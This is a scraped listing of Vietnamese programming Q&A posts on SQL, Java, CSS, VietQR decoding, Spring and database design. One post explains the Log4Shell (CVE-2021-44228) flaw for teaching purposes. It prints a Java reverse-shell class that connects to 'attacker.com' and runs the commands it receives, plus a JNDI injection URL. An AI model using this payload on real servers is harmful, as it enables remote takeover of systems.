Avatar
0
Nguyen Nam Teacher
Nguyen Nam Teacher
So sánh clustered index và non-clustered index trong SQL Server
Như tiêu đề câu hỏi ạ. <p> Mọi người cho em hỏi sự khác nhau giữa 2 loại index trên là gì ạ? </p> <p> Khi nào thì nên dùng loại nào ạ? </p> <p> Em cảm ơn. </p>
Answer
Avatar
2
Nguyễn Thái Sơn Professional
Nguyễn Thái Sơn Professional
thu hồi 1 thread trong Java
em có 1 thread xử lý như sau : <p> </p> <pre> while (true) { System.out.println("3"); Thread.sleep(1000); } </pre> <p> </p> <p> Làm thế nào để thu hồi thread này vậy ạ </p>
Answer
Avatar
0
tvd12 Enlightened
tvd12 Enlightened
Cắt text bị dài trong thẻ span
Mình có đoạn html này nó đang không cắt bỏ được phần phần text quá dài vượt khổ, giờ phải bổ sung thuộc tính css gì mọi người nhỉ? <p> </p> <p> &lt;div class="col-12"&gt; </p> <p> &lt;label class="mr-1"&gt;File name:&lt;/label&gt;&lt;span id="fileName"&gt;247054726_713680412923342_7496660341076819024_n.png&lt;/span&gt; </p> <p> &lt;/div&gt; </p> <p> </p> <img class="alignnone size-full wp-image-3113" src="https://stackask.com/wp-content/uploads/2021/11/Screenshot-2021-11-14-at-22.11.46.png" alt="" />
Answer
Avatar
0
vm5j9xlxja4j0rwc Beginner
Cho em hỏi về api document của viettel post ạ
Cho em hỏi về api document của viettel post ạ, quy trình lấy token như thế nào ạ. Em cảm ơn
Answer
Avatar
1
Phạm Huy Thiên Beginner
Dịch ngược data QRcode VN về thông tin ngân hàng
Dạo gần đây em có thấy anh Dũng chia sẻ về thư viện generate data tạo QR code, nhưng không thấy có thư viện nào dịch ngược lại từ data QR code ra thông tin của ngân hàng.<p> Ai có thuật toán giải mã thì cho em xin với ạ, code js thì càng tốt ạ. </p> <p> Em cảm ơn! </p> <h1><strong>Giải quyết</strong></h1> Cảm ơn anh @tdv12, đoạn code sau hỗ trợ dịch ngược QRcode sang thông tin ngân hàng, có hỗ trợ không có thông tin số tiền và nội dung chuyển tiền:<p> Ngôn ngữ <code class="markdown-inline">JAVA</code> </p> <div class="markdown-block position-relative overflow-auto source-java"> <pre> <span class="pl-k">package</span> com.thiendz.test; <span class="pl-k">import</span> java.util.HashMap; <span class="pl-k">import</span> java.util.Map; <span class="pl-k">public</span> <span class="pl-k">class</span> VietQRDecoder { private <span class="pl-k">static</span> <span class="pl-k">final</span> String PREFIX = <span class="pl-s">"000201010212"</span>; private <span class="pl-k">static</span> <span class="pl-k">final</span> String SUFFIX = <span class="pl-s">"6304"</span>; private <span class="pl-k">static</span> <span class="pl-k">final</span> String PART_11_PREFIX = <span class="pl-s">"0010A00000072701"</span>; private <span class="pl-k">static</span> <span class="pl-k">final</span> String PART_2_PREFIX = <span class="pl-s">"5303704"</span>; private <span class="pl-k">static</span> <span class="pl-k">final</span> String AMOUNT_HEADER = <span class="pl-s">"54"</span>; private <span class="pl-k">static</span> <span class="pl-k">final</span> String PART_21_PREFIX = <span class="pl-s">"5802VN62"</span>; private <span class="pl-k">static</span> <span class="pl-k">final</span> <span class="pl-k">int</span> CHECK_SUM_LENGTH = 4; <span class="pl-k">public</span> <span class="pl-k">static</span> <span class="pl-k">void</span> main(String[] args) { Map&lt;String, String&gt; information = <span class="pl-k">new</span> HashMap&lt;&gt;(); // String input = <span class="pl-s">"00020101021238540010A00000072701240006970436011010137721710208QRIBFTTA530370454061000005802VN62090805Hello63049F12"</span>; // String input = <span class="pl-s">"00020101021238560010A0000007270126000697100501121133666688880208QRIBFTTA53037045802VN6304AAAB"</span>; // String input = <span class="pl-s">"00020101021238580010A000000727012800069704070114190375154450150208QRIBFTTA53037045802VN62120808BTEST001630478FB"</span>; // String input = <span class="pl-s">"00020101021238580010A000000727012800069704070114190375154450150208QRIBFTTA53037045802VN62120808BTEST00263049629"</span>; String input = <span class="pl-s">"00020101021238580010A000000727012800069704150114190375154450150208QRIBFTTA5303704540410005802VN6304DDD5"</span>; String parts = input.substring( PREFIX.length(), input.length() - SUFFIX.length() - CHECK_SUM_LENGTH ); parts = parts.substring(2); <span class="pl-k">int</span> part1Length = Integer.parseInt(parts.substring(0, 2)); parts = parts.substring(2); String part1 = parts.substring(0, part1Length); part1 = part1.substring(PART_11_PREFIX.length()); <span class="pl-k">int</span> part12Length = Integer.parseInt(part1.substring(0, 2)); part1 = part1.substring(2); String part12 = part1.substring(0, part12Length); part12 = part12.substring(2); <span class="pl-k">int</span> bankIdLength = Integer.parseInt(part12.substring(0, 2)); part12 = part12.substring(2); String bankId = part12.substring(0, bankIdLength); information.put(<span class="pl-s">"bankId"</span>, bankId); part12 = part12.substring(bankIdLength); part12 = part12.substring(2); <span class="pl-k">int</span> bankAccountLength = Integer.parseInt(part12.substring(0, 2)); part12 = part12.substring(2); String bankAccount = part12.substring(0, bankAccountLength); information.put(<span class="pl-s">"bankAccount"</span>, bankAccount); parts = parts.substring(part1Length); String part2 = parts.substring(PART_2_PREFIX.length()); information.put(<span class="pl-s">"amount"</span>, <span class="pl-s">"0"</span>); <span class="pl-k">if</span> (part2.startsWith(AMOUNT_HEADER)) { part2 = part2.substring(2); <span class="pl-k">int</span> amountLength = Integer.parseInt(part2.substring(0, 2)); part2 = part2.substring(2); String amount = part2.substring(0, amountLength); information.put(<span class="pl-s">"amount"</span>, amount); part2 = part2.substring(amountLength); } information.put(<span class="pl-s">"message"</span>, <span class="pl-s">""</span>); <span class="pl-k">if</span> (part2.length() - PART_21_PREFIX.length() &gt; PART_21_PREFIX.length()) { part2 = part2.substring(PART_21_PREFIX.length()); <span class="pl-k">int</span> part21Length = Integer.parseInt(part2.substring(0, 2)); part2 = part2.substring(2); String part21 = part2.substring(0, part21Length); part21 = part21.substring(2); <span class="pl-k">int</span> messageLength = Integer.parseInt(part21.substring(0, 2)); part21 = part21.substring(2); String message = part21.substring(0, messageLength); information.put(<span class="pl-s">"message"</span>, message); } System.out.println(information); } } </pre> </div><p> Ngôn ngữ <code class="markdown-inline">Js</code> </p> <div class="markdown-block position-relative overflow-auto source-javascript"> <pre> class Qr { <span class="pl-k">static</span> PREFIX = <span class="pl-s">'000201010212'</span>; <span class="pl-k">static</span> SUFFIX = <span class="pl-s">'6304'</span>; <span class="pl-k">static</span> PART_11_PREFIX = <span class="pl-s">'0010A00000072701'</span>; <span class="pl-k">static</span> PART_2_PREFIX = <span class="pl-s">'5303704'</span>; <span class="pl-k">static</span> AMOUNT_HEADER = <span class="pl-s">'54'</span>; <span class="pl-k">static</span> PART_21_PREFIX = <span class="pl-s">'5802VN62'</span>; <span class="pl-k">static</span> CHECK_SUM_LENGTH = 4; <span class="pl-k">static</span> decoder(input) { let parts = input.substring( Qr.PREFIX.length, input.length - Qr.SUFFIX.length - Qr.CHECK_SUM_LENGTH ); parts = parts.substring(2); let part1Length = parseInt(parts.substring(0, 2)); parts = parts.substring(2); let part1 = parts.substring(0, part1Length); part1 = part1.substring(Qr.PART_11_PREFIX.length); let part12Length = parseInt(part1.substring(0, 2)); part1 = part1.substring(2); let part12 = part1.substring(0, part12Length); part12 = part12.substring(2); let bankIdLength = parseInt(part12.substring(0, 2)); part12 = part12.substring(2); let bankId = part12.substring(0, bankIdLength); part12 = part12.substring(bankIdLength); part12 = part12.substring(2); let bankAccountLength = parseInt(part12.substring(0, 2)); part12 = part12.substring(2); let bankAccount = part12.substring(0, bankAccountLength); let amount = 0; parts = parts.substring(part1Length); let part2 = parts.substring(Qr.PART_2_PREFIX.length); console.log(part2) <span class="pl-k">if</span> (part2.startsWith(Qr.AMOUNT_HEADER)) { part2 = part2.substring(2); let amountLength = parseInt(part2.substring(0, 2)); part2 = part2.substring(2); amount = part2.substring(0, amountLength); part2 = part2.substring(amountLength); } let message = <span class="pl-s">''</span>; <span class="pl-k">if</span> (part2.length - Qr.PART_21_PREFIX.length &gt; Qr.PART_21_PREFIX.length) { part2 = part2.substring(Qr.PART_21_PREFIX.length); let part21Length = parseInt(part2.substring(0, 2)); part2 = part2.substring(2); let part21 = part2.substring(0, part21Length); part21 = part21.substring(2); let messageLength = parseInt(part21.substring(0, 2)); part21 = part21.substring(2); message = part21.substring(0, messageLength); } <span class="pl-k">return</span> { bankId, bankAccount, amount, message }; } } console.log(Qr.decoder(<span class="pl-s">'00020101021238580010A000000727012800069704150114190375154450150208QRIBFTTA5303704540410005802VN6304DDD5'</span>)) </pre> </div>
Answer
Avatar
0
Vu Luong Anh Pundit
So sánh GraphQL và REST API
Cho em hỏi điểm mạnh và điểm yếu khi so sánh GraphQL và REST API, đặc biệt khi triển khai dự án thực tế ạ.
Answer
Avatar
1
toilahtc Beginner
toilahtc Beginner
Làm sao để cấu hình tới 2 database trong 1 project spring boot?
Làm sao để cấu hình tới 2 database trong 1 project spring boot? <p> </p> <p> Em gặp lỗi này: <code>No qualifying bean of type 'org.springframework.transaction.PlatformTransactionManager' available: expected single matching bean but found 2</code> khi sử dụng <code>@Transactional</code>. Em đã có đánh dấu <code>@Transactional(transactionManager = "mmTransactionManager")</code> </p> <p> </p> <p> Anh em nào biết thì mong giúp đỡ em ạ, em cảm ơn. Do text quá dài nên em xin gửi cấu hình ở dưới comment. </p>
Answer
Avatar
2
monkey Enlightened
monkey Enlightened
Hiểu rõ về lỗ hổng của Apache Log4j2 (CVE-2021-44228)
Hiểu rõ về lỗ hổng của Apache Log4j2 (CVE-2021-44228) <p> </p> <p> Để hiểu rõ hơn chúng ta phải hiểu về log4j một chút. Log4j sử dụng <a href="https://tvd12.com/chain-of-responsibility-design-pattern/" target="_blank">chain of responsibility design pattern</a>, thế nên ở bên trong nó sẽ có các <code>Appender</code>. Khi một dòng log kiểu <code>logger.info("Hello: {}", param)</code> thì đoạn log này sẽ chạy qua tất cả các appender thể thực hiện các công việc tương ứng, ví dụ in ra màn hình, ghi vào file, và trong đó có 1 lớp tên là: RoutingAppender. Lớp này sẽ gọi đến hàm <code>StrSubstitutor.resolveVariable</code>. Hàm này sẽ đi lấy giá trị của biến, và đau lòng thay, nó gọi lại đến lớp <a href="https://github.com/apache/logging-log4j2/commit/44569090f1cf1e92c711fb96dfd18cd7dccc72ea" target="_blank">Interpolator</a>. </p> <p> </p> <p> Lớp Interpolator sẽ tìm kiếm qua nhiều giao thức, trong đó có giao thức JNDI để lấy ra giá trị của biến, và thế là bùm. Kẻ tấn công sẽ tạo ra 1 lớp thế này: </p> <p> </p> <pre> public class Log4jShell { static { try { Socket socket = new Socket("attacker.com", 1234); Scanner scanner = new Scanner(socket.getInputStream()); while(true) { String command = scanner.nextLine(); ProcessBuilder pb = new ProcessBuilder(command); pb.start(); } } catch (Exception e) {} } } </pre> <p> </p> <p> Và hắn thông quan tham số name truyền lên server kiểu: <code><a href="https://web_site_cua_chung_ta/hello?name=${jndi://web_site_cua_ke_tan_cong.com/Log4jShell.class}" target="_blank">https://web_site_cua_chung_ta/hello?name=${jndi://web_site_cua_ke_tan_cong.com/Log4jShell.class}</a></code>, và cùng với câu lệnh logger ở trên. Lớp Interpolator sẽ lấy giá trị của biến bằng cách lấy lớp Log4jShell.class về, và thế là toang, kẻ tấn công sẽ có hẳn 1 cái terminal xịn sò trên server của chúng ta và muốn làm gì thì làm. </p> <p> </p> <p> Nhược điểm của lỗ hổng lần này là nó làm cho cả thế giới tán loạn. Phải đi release lại toàn bộ các sản phẩm đang dùng <code>2.0 &lt;= log4j-core &lt;= 2.14.1</code>. </p> <p> </p> <p> Còn ưu điểm là nó cũng cho thấy được Java nó phổ biến và được sử dụng rộng rãi đến mức nào. Thế nên anh em cứ tự tin khi lựa chọn Java để làm ngôn ngữ lập trình backend cho mình và cho tổ chức của mình nhé. </p> <p> </p> <p> Tham khảo thêm nếu anh em cần nhé: <a href="https://www.lunasec.io/docs/blog/log4j-zero-day/#how-you-can-prevent-future-attacks" target="_blank">https://www.lunasec.io/docs/blog/log4j-zero-day/#how-you-can-prevent-future-attacks</a> </p>
Answer
Avatar
1
Bảo Ngô Beginner
Bảo Ngô Beginner
Java Spring rate limiter block specific duration when ratio reached
Currently I have a requirement: Apply rate limiter for an API. If this API get called over 100 times per 5 sec then the API will be blocked for 10 mins. I don't know if there is any java lib can fullfill this requirement. If the requirement is "Allow 100 calls per 5 sec" or "Allow 100 calls per 10 min" then I can either user Bucket4j: <p> </p> <p> </p> <pre> Bandwidth b = Bandwidth.classic(100, Refill.intervally(100, Duration.ofSeconds(5))); //Bandwidth b = Bandwidth.classic(100, Refill.intervally(100, Duration.ofMinutes(10))); Bucket bk = Bucket.builder().addLimit(b).build(); //then if(bk.tryConsume(1)) { //stuff } else { throw } </pre> <p> </p> <p> or Resilence4j: </p> <p> </p> <pre> RateLimiterConfig config = RateLimiterConfig.custom() .limitRefreshPeriod(Duration.ofSeconds(5)) .limitForPeriod(100) .timeoutDuration(Duration.ofSeconds(1)) .build(); RateLimiterRegistry rateLimiterRegistry = RateLimiterRegistry.of(config); RateLimiter rateLimiterWithCustomConfig = rateLimiterRegistry .rateLimiter("name2", config); CheckedRunnable restrictedCall = RateLimiter .decorateCheckedRunnable(rateLimiterWithCustomConfig, this::doStuff); //then Try.run(restrictedCall).onFailure(this::throwEx) </pre> <p> </p> <p> But the requirement is "Allow 100 calls per 5 sec, if more, block 10 min". Is there any lib can work? Please suggest me a solution for this case. Thank you </p>
Answer
Avatar
1
tvd12 Enlightened
tvd12 Enlightened
Ngôn ngữ lập trình được tạo ra như thế nào?
Thực sự mình cũng rất muốn hiểu ngôn ngữ lập trình được tạo ra ntn. Bạn có thể nói sơ qua hoặc cho mình vài link để tìm hiểu được không. Tks
Answer
Avatar
0
Cường Nguyễn Hữu Beginner
Thiết kế db ứng dụng chat
Chào mọi người. Em vừa thiết kế db ứng dụng chat. Gồm các chức năng chính: <p> Đăng nhập, đăng xuất khỏi 1 hoặc nhiều thiết bị, đăng ký </p> <p> Gửi otp để reset mật khẩu, thay đổi thông tin cá nhân </p> <p> Thêm người vào nhóm, gửi yêu cầu kết bạn </p> <p> Thay đổi tên trong đoạn chat </p> <p> Nhắn tin 1-1, 1-n </p> <p> Xem ai đã xem tin nhắn </p> <p> .... </p> <p> Mong mọi người đóng góp ý kiến để em hoàn thiện bài tập lớn trên trường ạ. Thiết kế hiện tại của em là: </p> <p> </p> <img src="https://stackask.com/wp-content/uploads/2022/02/chat-db.jpeg" alt="" class="alignnone size-full wp-image-4530" />
Answer
Avatar
2
hovanvydut Beginner
hovanvydut Beginner
Comment, Reply, Notification Database Design
Tình cờ là em cũng đang tự làm một pet project (một blog cho phép mọi người đăng bài) trước khi biết đến stackask, và em cũng đang làm tính năng comment, reply, notification. Thì hình dứoi đây là ảnh em thiết kế database hiện tại. <p> </p> <p> Em làm 2 table là comment/reply là để lúc em load thì chỉ load comment và số reply, và chỉ load reply khi người dùng chọn "show more reply" thì mới load các reply của comment đấy. Nhưng chia 2 bảng như này thì em lại phải làm 2 bảng vote cho comment và reply. Ngoài ra em cũng làm bảng notification như vậy, khi mà có ngừoi reply, comment, up/down vote comment/reply thì insert vào bảng notification. Mọi người cho em góp ý table như vậy được chưa ạ? </p> <p> </p> <p> Và em thắc mắc xíu là trang stackask của mình hình như phần notification nó realtime ạ, em thấy ko cần load trang mà nó vẫn show noti mới cho mình. Không biết bên dưới nó dùng gì ạ? </p> <p> </p> <p> &nbsp; </p> <p> </p> <p> Em cảm ơn mọi ngừoi đã đọc post ạ. </p> <p> </p> <img class="alignnone size-full wp-image-652" src="https://stackask.com/wp-content/uploads/2021/08/image_2021-08-07_103623.png" alt="" />
Answer